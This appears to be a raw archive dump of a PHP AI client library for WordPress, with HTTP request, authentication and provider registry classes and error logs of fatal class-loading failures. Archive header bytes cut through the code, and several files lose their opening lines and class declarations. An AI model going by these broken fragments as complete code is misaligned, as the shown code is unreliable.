self::KEY_CONNECT_TIMEOUT => ['type' => ['number', 'null'], 'minimum' => 0, 'description' => 'Maximum duration in seconds to wait for the initial connection.'], self::KEY_MAX_REDIRECTS => ['type' => ['integer', 'null'], 'minimum' => 0, 'description' => 'Maximum redirects to follow. 0 disables, null is unspecified.']], 'additionalProperties' => \false]; } /** * Validates timeout values. * * @since 0.2.0 * * @param float|null $value Timeout to validate. * @param string $fieldName Field name for the error message. * * @throws InvalidArgumentException When timeout is negative. */ private function validateTimeout(?float $value, string $fieldName): void { if ($value !== null && $value < 0) { throw new InvalidArgumentException(sprintf('Request option "%s" must be greater than or equal to 0.', $fieldName)); } } } PK!`h'0'0"src/Providers/Http/DTO/Request.phpnu[>, * body?: string|null, * options?: RequestOptionsArrayShape * } * * @extends AbstractDataTransferObject */ class Request extends AbstractDataTransferObject { public const KEY_METHOD = 'method'; public const KEY_URI = 'uri'; public const KEY_HEADERS = 'headers'; public const KEY_BODY = 'body'; public const KEY_OPTIONS = 'options'; /** * @var HttpMethodEnum The HTTP method. */ protected HttpMethodEnum $method; /** * @var string The request URI. */ protected string $uri; /** * @var HeadersCollection The request headers. */ protected HeadersCollection $headers; /** * @var array|null The request data (for query params or form data). */ protected ?array $data = null; /** * @var string|null The request body (raw string content). */ protected ?string $body = null; /** * @var RequestOptions|null Request transport options. */ protected ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options = null; /** * Constructor. * * @since 0.1.0 * * @param HttpMethodEnum $method The HTTP method. * @param string $uri The request URI. * @param array> $headers The request headers. * @param string|array|null $data The request data. * @param RequestOptions|null $options The request transport options. * * @throws InvalidArgumentException If the URI is empty. */ public function __construct(HttpMethodEnum $method, string $uri, array $headers = [], $data = null, ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options = null) { if (empty($uri)) { throw new InvalidArgumentException('URI cannot be empty.'); } $this->method = $method; $this->uri = $uri; $this->headers = new HeadersCollection($headers); // Separate data and body based on type if (is_string($data)) { $this->body = $data; } elseif (is_array($data)) { $this->data = $data; } $this->options = $options; } /** * Creates a deep clone of this request. * * Clones the headers collection and request options to ensure * the cloned request is independent of the original. * The HTTP method enum is immutable and can be safely shared. * * @since 0.4.2 */ public function __clone() { // Clone headers collection $this->headers = clone $this->headers; // Clone request options if present (contains only primitives) if ($this->options !== null) { $this->options = clone $this->options; } // Note: $method is an immutable enum and can be safely shared } /** * Gets the HTTP method. * * @since 0.1.0 * * @return HttpMethodEnum The HTTP method. */ public function getMethod(): HttpMethodEnum { return $this->method; } /** * Gets the request URI. * * For GET requests with array data, appends the data as query parameters. * * @since 0.1.0 * * @return string The URI. */ public function getUri(): string { // If GET request with data, append as query parameters if ($this->method === HttpMethodEnum::GET() && $this->data !== null && !empty($this->data)) { $separator = str_contains($this->uri, '?') ? '&' : '?'; return $this->uri . $separator . http_build_query($this->data); } return $this->uri; } /** * Gets the request headers. * * @since 0.1.0 * * @return array> The headers. */ public function getHeaders(): array { return $this->headers->getAll(); } /** * Gets a specific header value. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return list|null The header value(s) or null if not found. */ public function getHeader(string $name): ?array { return $this->headers->get($name); } /** * Gets header values as a comma-separated string. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return string|null The header values as a comma-separated string, or null if not found. */ public function getHeaderAsString(string $name): ?string { return $this->headers->getAsString($name); } /** * Checks if a header exists. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return bool True if the header exists, false otherwise. */ public function hasHeader(string $name): bool { return $this->headers->has($name); } /** * Gets the request body. * * For GET requests, returns null. * For POST/PUT/PATCH requests: * - If body is set, returns it as-is * - If data is set and Content-Type is JSON, returns JSON-encoded data * - If data is set and Content-Type is form, returns URL-encoded data * * @since 0.1.0 * * @return string|null The body. * @throws JsonException If the data cannot be encoded to JSON. */ public function getBody(): ?string { // GET requests don't have a body if (!$this->method->hasBody()) { return null; } // If body is set, return it as-is if ($this->body !== null) { return $this->body; } // If data is set, encode based on content type if ($this->data !== null) { $contentType = $this->getContentType(); // JSON encoding if ($contentType !== null && stripos($contentType, 'application/json') !== \false) { return json_encode($this->data, \JSON_THROW_ON_ERROR); } // Default to URL encoding for forms return http_build_query($this->data); } return null; } /** * Gets the Content-Type header value. * * @since 0.1.0 * * @return string|null The Content-Type header value or null if not set. */ private function getContentType(): ?string { $values = $this->getHeader('Content-Type'); return $values !== null ? $values[0] : null; } /** * Returns a new instance with the specified header. * * @since 0.1.0 * * @param string $name The header name. * @param string|list $value The header value(s). * @return self A new instance with the header. */ public function withHeader(string $name, $value): self { $newHeaders = $this->headers->withHeader($name, $value); $new = clone $this; $new->headers = $newHeaders; return $new; } /** * Returns a new instance with the specified data. * * @since 0.1.0 * * @param string|array $data The request data. * @return self A new instance with the data. */ public function withData($data): self { $new = clone $this; if (is_string($data)) { $new->body = $data; $new->data = null; } elseif (is_array($data)) { $new->data = $data; $new->body = null; } else { $new->data = null; $new->body = null; } return $new; } /** * Gets the request data array. * * @since 0.1.0 * * @return array|null The request data array. */ public function getData(): ?array { return $this->data; } /** * Gets the request options. * * @since 0.2.0 * * @return RequestOptions|null Request transport options when configured. */ public function getOptions(): ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions { return $this->options; } /** * Returns a new instance with the specified request options. * * @since 0.2.0 * * @param RequestOptions|null $options The request options to apply. * @return self A new instance with the options. */ public function withOptions(?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options): self { $new = clone $this; $new->options = $options; return $new; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_METHOD => ['type' => 'string', 'description' => 'The HTTP method.'], self::KEY_URI => ['type' => 'string', 'description' => 'The request URI.'], self::KEY_HEADERS => ['type' => 'object', 'additionalProperties' => ['type' => 'array', 'items' => ['type' => 'string']], 'description' => 'The request headers.'], self::KEY_BODY => ['type' => ['string'], 'description' => 'The request body.'], self::KEY_OPTIONS => \WordPress\AiClient\Providers\Http\DTO\RequestOptions::getJsonSchema()], 'required' => [self::KEY_METHOD, self::KEY_URI, self::KEY_HEADERS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return RequestArrayShape */ public function toArray(): array { $array = [ self::KEY_METHOD => $this->method->value, self::KEY_URI => $this->getUri(), // Include query params if GET with data self::KEY_HEADERS => $this->headers->getAll(), ]; // Include body if present (getBody() handles the conversion) $body = $this->getBody(); if ($body !== null) { $array[self::KEY_BODY] = $body; } if ($this->options !== null) { $optionsArray = $this->options->toArray(); if (!empty($optionsArray)) { $array[self::KEY_OPTIONS] = $optionsArray; } } return $array; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_METHOD, self::KEY_URI, self::KEY_HEADERS]); return new self(HttpMethodEnum::from($array[self::KEY_METHOD]), $array[self::KEY_URI], $array[self::KEY_HEADERS] ?? [], $array[self::KEY_BODY] ?? null, isset($array[self::KEY_OPTIONS]) ? \WordPress\AiClient\Providers\Http\DTO\RequestOptions::fromArray($array[self::KEY_OPTIONS]) : null); } /** * Creates a Request instance from a PSR-7 RequestInterface. * * @since 0.2.0 * * @param RequestInterface $psrRequest The PSR-7 request to convert. * @return self A new Request instance. * @throws InvalidArgumentException If the HTTP method is not supported. */ public static function fromPsrRequest(RequestInterface $psrRequest): self { $method = HttpMethodEnum::from($psrRequest->getMethod()); $uri = (string) $psrRequest->getUri(); // Convert PSR-7 headers to array format expected by our constructor /** @var array> $headers */ $headers = $psrRequest->getHeaders(); // Get body content $body = $psrRequest->getBody()->getContents(); $bodyOrData = !empty($body) ? $body : null; return new self($method, $uri, $headers, $bodyOrData); } } PK!" 88 src/Providers/Http/DTO/error_lognu[[04-Sep-2026 13:23:27 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/DTO/ApiKeyRequestAuthentication.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/DTO/ApiKeyRequestAuthentication.php on line 19 [04-Sep-2026 13:23:28 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/DTO/Request.php:31 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/DTO/Request.php on line 31 [04-Sep-2026 13:23:28 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/DTO/RequestOptions.php:23 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/DTO/RequestOptions.php on line 23 [04-Sep-2026 13:23:28 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/DTO/Response.php:25 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/DTO/Response.php on line 25 PK!=O O 6src/Providers/Http/DTO/ApiKeyRequestAuthentication.phpnu[ */ class ApiKeyRequestAuthentication extends AbstractDataTransferObject implements RequestAuthenticationInterface { public const KEY_API_KEY = 'apiKey'; /** * @var string The API key used for authentication. */ protected string $apiKey; /** * Constructor. * * @since 0.1.0 * * @param string $apiKey The API key used for authentication. */ public function __construct(string $apiKey) { $this->apiKey = $apiKey; } /** * {@inheritDoc} * * @since 0.1.0 */ public function authenticateRequest(\WordPress\AiClient\Providers\Http\DTO\Request $request): \WordPress\AiClient\Providers\Http\DTO\Request { // Add the API key to the request headers. return $request->withHeader('Authorization', 'Bearer ' . $this->apiKey); } /** * Gets the API key. * * @since 0.1.0 * * @return string The API key. */ public function getApiKey(): string { return $this->apiKey; } /** * {@inheritDoc} * * @since 0.1.0 * * @since 0.1.0 * * @return ApiKeyRequestAuthenticationArrayShape */ public function toArray(): array { return [self::KEY_API_KEY => $this->apiKey]; } /** * {@inheritDoc} * * @since 0.1.0 * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_API_KEY]); return new self($array[self::KEY_API_KEY]); } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_API_KEY => ['type' => 'string', 'title' => 'API Key', 'description' => 'The API key used for authentication.']], 'required' => [self::KEY_API_KEY]]; } } PK!qee1src/Providers/Http/Util/ErrorMessageExtractor.phpnu[isSuccessful()) { return; } $statusCode = $response->getStatusCode(); // 3xx Redirect Responses if ($statusCode >= 300 && $statusCode < 400) { throw RedirectException::fromRedirectResponse($response); } // 4xx Client Errors if ($statusCode >= 400 && $statusCode < 500) { throw ClientException::fromClientErrorResponse($response); } // 5xx Server Errors if ($statusCode >= 500 && $statusCode < 600) { throw ServerException::fromServerErrorResponse($response); } throw new \RuntimeException(sprintf('Response returned invalid status code: %s', $response->getStatusCode())); } } PK!%)FF6src/Providers/Http/Traits/WithHttpTransporterTrait.phpnu[httpTransporter = $httpTransporter; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getHttpTransporter(): HttpTransporterInterface { if ($this->httpTransporter === null) { throw new RuntimeException('HttpTransporterInterface instance not set. Make sure you use the AiClient class for all requests.'); } return $this->httpTransporter; } } PK!8<src/Providers/Http/Traits/WithRequestAuthenticationTrait.phpnu[requestAuthentication = $requestAuthentication; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getRequestAuthentication(): RequestAuthenticationInterface { if ($this->requestAuthentication === null) { throw new RuntimeException('RequestAuthenticationInterface instance not set. ' . 'Make sure you use the AiClient class for all requests.'); } return $this->requestAuthentication; } } PK!Go o @src/Providers/Http/Abstracts/AbstractClientDiscoveryStrategy.phpnu[> The discovery candidates. */ public static function getCandidates($type) { if (ClientInterface::class === $type) { return [['class' => static function () { $psr17Factory = new Psr17Factory(); return static::createClient($psr17Factory); }]]; } $psr17Factories = ['WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\ResponseFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\UriFactoryInterface']; if (in_array($type, $psr17Factories, \true)) { return [['class' => Psr17Factory::class]]; } return []; } /** * Creates an instance of the HTTP client. * * Subclasses must implement this method to return their specific * PSR-18 HTTP client instance. The provided Psr17Factory implements * all PSR-17 interfaces (RequestFactory, ResponseFactory, StreamFactory, * etc.) and can be used to satisfy client constructor dependencies. * * @since 1.1.0 * * @param Psr17Factory $psr17Factory The PSR-17 factory for creating HTTP messages. * @return ClientInterface The PSR-18 HTTP client. */ abstract protected static function createClient(Psr17Factory $psr17Factory): ClientInterface; } PK!:&src/Providers/Http/Abstracts/error_lognu[[04-Sep-2026 13:23:18 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClientDependencies\Http\Discovery\Strategy\DiscoveryStrategy" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Abstracts/AbstractClientDiscoveryStrategy.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Abstracts/AbstractClientDiscoveryStrategy.php on line 20 PK!բbG-src/Providers/Http/HttpTransporterFactory.phpnu[value, [self::GET, self::HEAD, self::OPTIONS, self::TRACE, self::PUT, self::DELETE], \true); } /** * Checks if this method typically has a request body. * * @since 0.1.0 * * @return bool True if the method typically has a body, false otherwise. */ public function hasBody(): bool { return in_array($this->value, [self::POST, self::PUT, self::PATCH], \true); } } PK!F"""src/Providers/Http/Enums/error_lognu[[04-Sep-2026 13:23:30 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractEnum" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Enums/HttpMethodEnum.php:32 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Enums/HttpMethodEnum.php on line 32 [04-Sep-2026 13:23:31 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractEnum" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Enums/RequestAuthenticationMethod.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/Http/Enums/RequestAuthenticationMethod.php on line 18 PK!.8src/Providers/Http/Enums/RequestAuthenticationMethod.phpnu[ The implementation class. * * @phpstan-ignore missingType.generics */ public function getImplementationClass(): string { // At the moment, this is the only supported method. // Once more methods are available, add conditionals here for each method. return ApiKeyRequestAuthentication::class; } } PK!%C^^"src/Providers/ProviderRegistry.phpnu[> Mapping of provider IDs to class names. */ private array $registeredIdsToClassNames = []; /** * @var array, string> Mapping of provider class names to IDs. */ private array $registeredClassNamesToIds = []; /** * @var array, RequestAuthenticationInterface> Mapping of provider class names to * authentication instances. */ private array $providerAuthenticationInstances = []; /** * Registers a provider class with the registry. * * @since 0.1.0 * * @param class-string $className The fully qualified provider class name implementing the * ProviderInterface * @throws InvalidArgumentException If the class doesn't exist or implement the required interface. */ public function registerProvider(string $className): void { if (!class_exists($className)) { throw new InvalidArgumentException(sprintf('Provider class does not exist: %s', $className)); } // Validate that class implements ProviderInterface if (!is_subclass_of($className, ProviderInterface::class)) { throw new InvalidArgumentException(sprintf('Provider class must implement %s: %s', ProviderInterface::class, $className)); } $metadata = $className::metadata(); if (!$metadata instanceof ProviderMetadata) { throw new InvalidArgumentException(sprintf('Provider must return ProviderMetadata from metadata() method: %s', $className)); } // If there is already a HTTP transporter instance set, hook it up to the provider as needed. try { $httpTransporter = $this->getHttpTransporter(); } catch (RuntimeException $e) { /* * If this fails, it's okay. There is no defined sequence between setting the HTTP transporter in the * registry and registering providers in it, so it might be that the transporter is set later. It will be * hooked up then. * But for now we can ignore this exception and attempt to set the default HTTP transporter, if possible. */ try { $this->setHttpTransporter(HttpTransporterFactory::createTransporter()); $httpTransporter = $this->getHttpTransporter(); } catch (DiscoveryNotFoundException $e) { /* * If no HTTP client implementation can be discovered yet, we can ignore this for now. * It might be set later, so it's not a hard error at this point. * We'll try again the next time a provider is registered, or maybe by that time an explicit * HTTP transporter will have been set. */ } } if (isset($httpTransporter)) { $this->setHttpTransporterForProvider($className, $httpTransporter); } // Hook up the request authentication instance, using a default if not set. if (!isset($this->providerAuthenticationInstances[$className])) { $defaultProviderAuthentication = $this->createDefaultProviderRequestAuthentication($className); if ($defaultProviderAuthentication !== null) { $this->providerAuthenticationInstances[$className] = $defaultProviderAuthentication; } } if (isset($this->providerAuthenticationInstances[$className])) { $this->setRequestAuthenticationForProvider($className, $this->providerAuthenticationInstances[$className]); } $this->registeredIdsToClassNames[$metadata->getId()] = $className; $this->registeredClassNamesToIds[$className] = $metadata->getId(); } /** * Gets a list of all registered provider IDs. * * @since 0.1.0 * * @return list List of registered provider IDs. */ public function getRegisteredProviderIds(): array { return array_keys($this->registeredIdsToClassNames); } /** * Checks if a provider is registered. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name to check. * @return bool True if the provider is registered. */ public function hasProvider(string $idOrClassName): bool { return $this->isRegisteredId($idOrClassName) || $this->isRegisteredClassName($idOrClassName); } /** * Gets the class name for a registered provider. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @return class-string The provider class name. * @throws InvalidArgumentException If the provider is not registered. */ public function getProviderClassName(string $idOrClassName): string { // If it's already a class name, return it if ($this->isRegisteredClassName($idOrClassName)) { return $idOrClassName; } // If it's a registered ID, return its class name if ($this->isRegisteredId($idOrClassName)) { return $this->registeredIdsToClassNames[$idOrClassName]; } // Not found throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName)); } /** * Gets the provider ID for a registered provider. * * @since 0.2.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @return string The provider ID. * @throws InvalidArgumentException If the provider is not registered. */ public function getProviderId(string $idOrClassName): string { // If it's already an ID, return it if ($this->isRegisteredId($idOrClassName)) { return $idOrClassName; } // If it's a registered class name, return its ID if ($this->isRegisteredClassName($idOrClassName)) { return $this->registeredClassNamesToIds[$idOrClassName]; } // Not found throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName)); } /** * Checks if a provider is properly configured. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @return bool True if the provider is configured and ready to use. */ public function isProviderConfigured(string $idOrClassName): bool { try { $className = $this->resolveProviderClassName($idOrClassName); // Use static method from ProviderInterface /** @var class-string $className */ $availability = $className::availability(); return $availability->isConfigured(); } catch (InvalidArgumentException $e) { return \false; } } /** * Finds models across all available providers that support the given requirements. * * @since 0.1.0 * * @param ModelRequirements $modelRequirements The requirements to match against. * @return list List of provider models metadata that match requirements. */ public function findModelsMetadataForSupport(ModelRequirements $modelRequirements): array { $results = []; foreach ($this->registeredIdsToClassNames as $providerId => $className) { $providerResults = $this->findProviderModelsMetadataForSupport($providerId, $modelRequirements); if (!empty($providerResults)) { // Use static method from ProviderInterface /** @var class-string $className */ $providerMetadata = $className::metadata(); $results[] = new ProviderModelsMetadata($providerMetadata, $providerResults); } } return $results; } /** * Finds models within a specific available provider that support the given requirements. * * @since 0.1.0 * * @param string $idOrClassName The provider ID or class name. * @param ModelRequirements $modelRequirements The requirements to match against. * @return list List of model metadata that match requirements. */ public function findProviderModelsMetadataForSupport(string $idOrClassName, ModelRequirements $modelRequirements): array { $className = $this->resolveProviderClassName($idOrClassName); // If the provider is not configured, there is no way to use it, so it is considered unavailable. if (!$this->isProviderConfigured($className)) { return []; } $modelMetadataDirectory = $className::modelMetadataDirectory(); // Filter models that meet requirements $matchingModels = []; foreach ($modelMetadataDirectory->listModelMetadata() as $modelMetadata) { if ($modelRequirements->areMetBy($modelMetadata)) { $matchingModels[] = $modelMetadata; } } return $matchingModels; } /** * Gets a configured model instance from a provider. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @param string $modelId The model identifier. * @param ModelConfig|null $modelConfig The model configuration. * @return ModelInterface The configured model instance. * @throws InvalidArgumentException If provider or model is not found. */ public function getProviderModel(string $idOrClassName, string $modelId, ?ModelConfig $modelConfig = null): ModelInterface { $className = $this->resolveProviderClassName($idOrClassName); $modelInstance = $className::model($modelId, $modelConfig); $this->bindModelDependencies($modelInstance); return $modelInstance; } /** * Binds dependencies to a model instance. * * This method injects required dependencies such as HTTP transporter * and authentication into model instances that need them. * * @since 0.1.0 * * @param ModelInterface $modelInstance The model instance to bind dependencies to. * @return void */ public function bindModelDependencies(ModelInterface $modelInstance): void { $className = $this->resolveProviderClassName($modelInstance->providerMetadata()->getId()); if ($modelInstance instanceof WithHttpTransporterInterface) { $modelInstance->setHttpTransporter($this->getHttpTransporter()); } if ($modelInstance instanceof WithRequestAuthenticationInterface) { $requestAuthentication = $this->getProviderRequestAuthentication($className); if ($requestAuthentication !== null) { $modelInstance->setRequestAuthentication($requestAuthentication); } } } /** * Gets the class name for a registered provider (handles both ID and class name input). * * @param string|class-string $idOrClassName The provider ID or class name. * @return class-string The provider class name. * @throws InvalidArgumentException If provider is not registered. */ private function resolveProviderClassName(string $idOrClassName): string { // If it's already a class name, return it if ($this->isRegisteredClassName($idOrClassName)) { return $idOrClassName; } // If it's a registered ID, return its class name if ($this->isRegisteredId($idOrClassName)) { return $this->registeredIdsToClassNames[$idOrClassName]; } // Not found throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName)); } /** * {@inheritDoc} * * @since 0.1.0 */ public function setHttpTransporter(HttpTransporterInterface $httpTransporter): void { $this->setHttpTransporterOriginal($httpTransporter); // Make sure all registered providers have the HTTP transporter hooked up as needed. foreach ($this->registeredIdsToClassNames as $className) { $this->setHttpTransporterForProvider($className, $httpTransporter); } } /** * Sets the request authentication instance for the given provider. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @param RequestAuthenticationInterface $requestAuthentication The request authentication instance. */ public function setProviderRequestAuthentication(string $idOrClassName, RequestAuthenticationInterface $requestAuthentication): void { $className = $this->resolveProviderClassName($idOrClassName); $this->providerAuthenticationInstances[$className] = $requestAuthentication; $this->setRequestAuthenticationForProvider($className, $requestAuthentication); } /** * Gets the request authentication instance for the given provider, if set. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @return ?RequestAuthenticationInterface The request authentication instance, or null if not set. */ public function getProviderRequestAuthentication(string $idOrClassName): ?RequestAuthenticationInterface { $className = $this->resolveProviderClassName($idOrClassName); if (!isset($this->providerAuthenticationInstances[$className])) { return null; } return $this->providerAuthenticationInstances[$className]; } /** * Sets the HTTP transporter for a specific provider, hooking up its class instances. * * @since 0.1.0 * * @param class-string $className The provider class name. * @param HttpTransporterInterface $httpTransporter The HTTP transporter instance. */ private function setHttpTransporterForProvider(string $className, HttpTransporterInterface $httpTransporter): void { $availability = $className::availability(); if ($availability instanceof WithHttpTransporterInterface) { $availability->setHttpTransporter($httpTransporter); } $modelMetadataDirectory = $className::modelMetadataDirectory(); if ($modelMetadataDirectory instanceof WithHttpTransporterInterface) { $modelMetadataDirectory->setHttpTransporter($httpTransporter); } if (is_subclass_of($className, ProviderWithOperationsHandlerInterface::class)) { $operationsHandler = $className::operationsHandler(); if ($operationsHandler instanceof WithHttpTransporterInterface) { $operationsHandler->setHttpTransporter($httpTransporter); } } } /** * Sets the request authentication for a specific provider, hooking up its class instances. * * @since 0.1.0 * * @param class-string $className The provider class name. * @param RequestAuthenticationInterface $requestAuthentication The authentication instance. * * @throws InvalidArgumentException If the authentication instance is not of the expected type. */ private function setRequestAuthenticationForProvider(string $className, RequestAuthenticationInterface $requestAuthentication): void { $authenticationMethod = $className::metadata()->getAuthenticationMethod(); if ($authenticationMethod === null) { throw new InvalidArgumentException(sprintf('Provider %s does not expect any authentication, but got %s.', $className, get_class($requestAuthentication))); } $expectedClass = $authenticationMethod->getImplementationClass(); if (!$requestAuthentication instanceof $expectedClass) { throw new InvalidArgumentException(sprintf('Provider %s expects authentication of type %s, but got %s.', $className, $expectedClass, get_class($requestAuthentication))); } $availability = $className::availability(); if ($availability instanceof WithRequestAuthenticationInterface) { $availability->setRequestAuthentication($requestAuthentication); } $modelMetadataDirectory = $className::modelMetadataDirectory(); if ($modelMetadataDirectory instanceof WithRequestAuthenticationInterface) { $modelMetadataDirectory->setRequestAuthentication($requestAuthentication); } if (is_subclass_of($className, ProviderWithOperationsHandlerInterface::class)) { $operationsHandler = $className::operationsHandler(); if ($operationsHandler instanceof WithRequestAuthenticationInterface) { $operationsHandler->setRequestAuthentication($requestAuthentication); } } } /** * Creates a default request authentication instance for a provider. * * @since 0.1.0 * * @param class-string $className The provider class name. * @return ?RequestAuthenticationInterface The default request authentication instance, or null if not required or * if no credential data can be found. */ private function createDefaultProviderRequestAuthentication(string $className): ?RequestAuthenticationInterface { $providerMetadata = $className::metadata(); $providerId = $providerMetadata->getId(); $authenticationMethod = $providerMetadata->getAuthenticationMethod(); if ($authenticationMethod === null) { return null; } $authenticationClass = $authenticationMethod->getImplementationClass(); if ($authenticationClass === null) { return null; } $authenticationSchema = $authenticationClass::getJsonSchema(); // Iterate over all JSON schema object properties to try to determine the necessary authentication data. $authenticationData = []; if (isset($authenticationSchema['properties']) && is_array($authenticationSchema['properties'])) { /** @var array $details */ foreach ($authenticationSchema['properties'] as $property => $details) { $envVarName = $this->getEnvVarName($providerId, $property); // Try to get the value from environment variable or constant. $envValue = getenv($envVarName); if ($envValue === \false) { if (!defined($envVarName)) { continue; // Skip if neither environment variable nor constant is defined. } $envValue = constant($envVarName); if (!is_scalar($envValue)) { continue; } } if (isset($details['type'])) { switch ($details['type']) { case 'boolean': $authenticationData[$property] = filter_var($envValue, \FILTER_VALIDATE_BOOLEAN); break; case 'number': $authenticationData[$property] = (int) $envValue; break; case 'string': default: $authenticationData[$property] = (string) $envValue; } } else { // Default to string if no type is specified. $authenticationData[$property] = (string) $envValue; } } // If any required fields are missing, return null to avoid immediate errors. if (isset($authenticationSchema['required']) && is_array($authenticationSchema['required'])) { /** @var list $requiredProperties */ $requiredProperties = $authenticationSchema['required']; if (array_diff_key(array_flip($requiredProperties), $authenticationData)) { return null; } } } /** @var RequestAuthenticationInterface */ /** @var array $authenticationData */ return $authenticationClass::fromArray($authenticationData); } /** * Checks if the given value is a registered provider class name. * * @since 0.4.0 * * @param string $idOrClassName The value to check. * @return bool True if it's a registered class name. * @phpstan-assert-if-true class-string $idOrClassName */ private function isRegisteredClassName(string $idOrClassName): bool { return isset($this->registeredClassNamesToIds[$idOrClassName]); } /** * Checks if the given value is a registered provider ID. * * @since 0.4.0 * * @param string $idOrClassName The value to check. * @return bool True if it's a registered provider ID. */ private function isRegisteredId(string $idOrClassName): bool { return isset($this->registeredIdsToClassNames[$idOrClassName]); } /** * Converts a provider ID and field name to a constant case environment variable name. * * @since 0.1.0 * * @param string $providerId The provider ID. * @param string $field The field name. * @return string The environment variable name in CONSTANT_CASE. */ private function getEnvVarName(string $providerId, string $field): string { // Convert camelCase or kebab-case or snake_case to CONSTANT_CASE. $constantCaseProviderId = strtoupper((string) preg_replace('/([a-z])([A-Z])/', '$1_$2', str_replace('-', '_', $providerId))); $constantCaseField = strtoupper((string) preg_replace('/([a-z])([A-Z])/', '$1_$2', str_replace('-', '_', $field))); return "{$constantCaseProviderId}_{$constantCaseField}"; } } PK!.h  "src/Providers/AbstractProvider.phpnu[ Cache for provider metadata per class. */ private static array $metadataCache = []; /** * @var array Cache for provider availability per class. */ private static array $availabilityCache = []; /** * @var array Cache for model metadata directory per class. */ private static array $modelMetadataDirectoryCache = []; /** * {@inheritDoc} * * @since 0.1.0 */ final public static function metadata(): ProviderMetadata { $className = static::class; if (!isset(self::$metadataCache[$className])) { self::$metadataCache[$className] = static::createProviderMetadata(); } return self::$metadataCache[$className]; } /** * {@inheritDoc} * * @since 0.1.0 */ final public static function model(string $modelId, ?ModelConfig $modelConfig = null): ModelInterface { $providerMetadata = static::metadata(); $modelMetadata = static::modelMetadataDirectory()->getModelMetadata($modelId); $model = static::createModel($modelMetadata, $providerMetadata); if ($modelConfig) { $model->setConfig($modelConfig); } return $model; } /** * {@inheritDoc} * * @since 0.1.0 */ final public static function availability(): ProviderAvailabilityInterface { $className = static::class; if (!isset(self::$availabilityCache[$className])) { self::$availabilityCache[$className] = static::createProviderAvailability(); } return self::$availabilityCache[$className]; } /** * {@inheritDoc} * * @since 0.1.0 */ final public static function modelMetadataDirectory(): ModelMetadataDirectoryInterface { $className = static::class; if (!isset(self::$modelMetadataDirectoryCache[$className])) { self::$modelMetadataDirectoryCache[$className] = static::createModelMetadataDirectory(); } return self::$modelMetadataDirectoryCache[$className]; } /** * Creates a model instance based on the given model metadata and provider metadata. * * @since 0.1.0 * * @param ModelMetadata $modelMetadata The model metadata. * @param ProviderMetadata $providerMetadata The provider metadata. * @return ModelInterface The new model instance. */ abstract protected static function createModel(ModelMetadata $modelMetadata, ProviderMetadata $providerMetadata): ModelInterface; /** * Creates the provider metadata instance. * * @since 0.1.0 * * @return ProviderMetadata 